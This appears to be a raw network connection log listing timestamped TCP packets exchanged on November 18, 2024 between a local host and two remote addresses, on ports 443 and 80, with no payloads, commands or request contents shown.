Nov 18, 2024 21:04:08.250572920 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.250603914 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.250950098 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.250960112 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.302222013 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.302423000 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.302489042 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.302553892 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.302580118 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.302594900 CET	49787	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.302603006 CET	443	49787	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.305612087 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.305716038 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.305814981 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.305984020 CET	49792	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.306019068 CET	443	49792	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.328113079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328154087 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328183889 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328213930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328213930 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328232050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328233957 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328248024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328272104 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328298092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328428984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328500986 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328510046 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328526974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328552008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328558922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328567982 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.328598022 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328598022 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.328629971 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.329392910 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.329855919 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.329905987 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.329942942 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.329955101 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.329966068 CET	49789	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.329969883 CET	443	49789	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.333000898 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.333029032 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.333093882 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.333163977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.333204985 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.333211899 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.333246946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.333340883 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.333386898 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.333416939 CET	49793	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.333431959 CET	443	49793	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.341064930 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.341331959 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.341392994 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.341428995 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.341428995 CET	49788	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.341445923 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.341458082 CET	443	49788	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.343360901 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.343393087 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.343467951 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.343579054 CET	49794	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.343600988 CET	443	49794	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.382328033 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.382386923 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.382556915 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.384779930 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.384780884 CET	49790	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.384823084 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.384850979 CET	443	49790	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.386667013 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.386706114 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.386889935 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.387058973 CET	49795	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:08.387078047 CET	443	49795	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:08.481014013 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481048107 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481098890 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481103897 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481127977 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481133938 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481178999 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481179953 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481282949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481334925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481349945 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481369972 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481403112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481437922 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.481443882 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481458902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481458902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.481496096 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482043028 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482095957 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482130051 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482145071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482145071 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482163906 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482201099 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482208014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482208014 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482234955 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.482247114 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482361078 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.482975960 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483030081 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483047009 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483064890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483098984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483107090 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483108044 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483133078 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483160019 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483169079 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483215094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483215094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.483860016 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.483980894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.484165907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.484230995 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.486066103 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.486097097 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.486120939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.486238003 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.640759945 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.640808105 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.640861988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.640861988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.640871048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.640907049 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.640916109 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.640942097 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.640961885 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.640995979 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641027927 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641032934 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641052008 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641066074 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641081095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641100883 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641134024 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641135931 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641135931 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641169071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641171932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641223907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641263008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641274929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641274929 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641325951 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641398907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641433001 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641468048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641470909 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641470909 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641503096 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641537905 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641540051 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641578913 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641578913 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641587973 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641623974 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.641639948 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.641683102 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642100096 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642133951 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642167091 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642174006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642174006 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642200947 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642210007 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642235994 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642252922 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642288923 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642297029 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642323017 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642357111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642365932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642365932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642393112 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642398119 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642431021 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642452002 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642549038 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642633915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642667055 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642699957 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642704010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642704010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642735958 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642751932 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642795086 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642802000 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642834902 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642843962 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642868042 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642899036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642900944 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642914057 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642935991 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.642976999 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.642976999 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.643346071 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.643506050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.643516064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.643541098 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.643577099 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.643584013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.643584013 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.643613100 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.643630981 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.643656969 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.786950111 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787004948 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787040949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787050962 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787050962 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787070990 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787086010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787123919 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787126064 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787158966 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787201881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787201881 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787216902 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787273884 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787277937 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787302971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787338018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787338018 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787350893 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787385941 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787420034 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787429094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787429094 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787455082 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787488937 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787501097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787501097 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787525892 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787561893 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787568092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787568092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787597895 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787631989 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787640095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787640095 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787686110 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787724018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787759066 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787794113 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787801027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787801027 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787827969 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787847996 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787878036 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787880898 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787916899 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787950993 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.787954092 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787967920 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.787985086 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788017035 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788032055 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788032055 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788054943 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788081884 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788330078 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788605928 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788647890 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788681984 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788691998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788691998 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788765907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788796902 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788817883 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788826942 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788871050 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788906097 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788919926 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788919926 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788940907 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788974047 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.788981915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.788981915 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789010048 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789051056 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789052010 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789191008 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789251089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789273977 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789309025 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789335966 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789361000 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789366961 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789393902 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789428949 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789434910 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789434910 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789480925 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789515018 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789525986 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789526939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789547920 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789566994 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789582968 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789617062 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789637089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789637089 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789650917 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789684057 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.789701939 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.789983988 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790182114 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790235996 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790254116 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790287971 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790323019 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790335894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790335894 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790357113 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790393114 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.790395975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790395975 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.790461063 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910049915 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910089016 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910123110 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910175085 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910177946 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910202980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910202980 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910209894 CET	80	49786	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:08.910257101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910257101 CET	49786	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:08.910264015 CET	80	49786	185.215.113.16	192.168.2.4
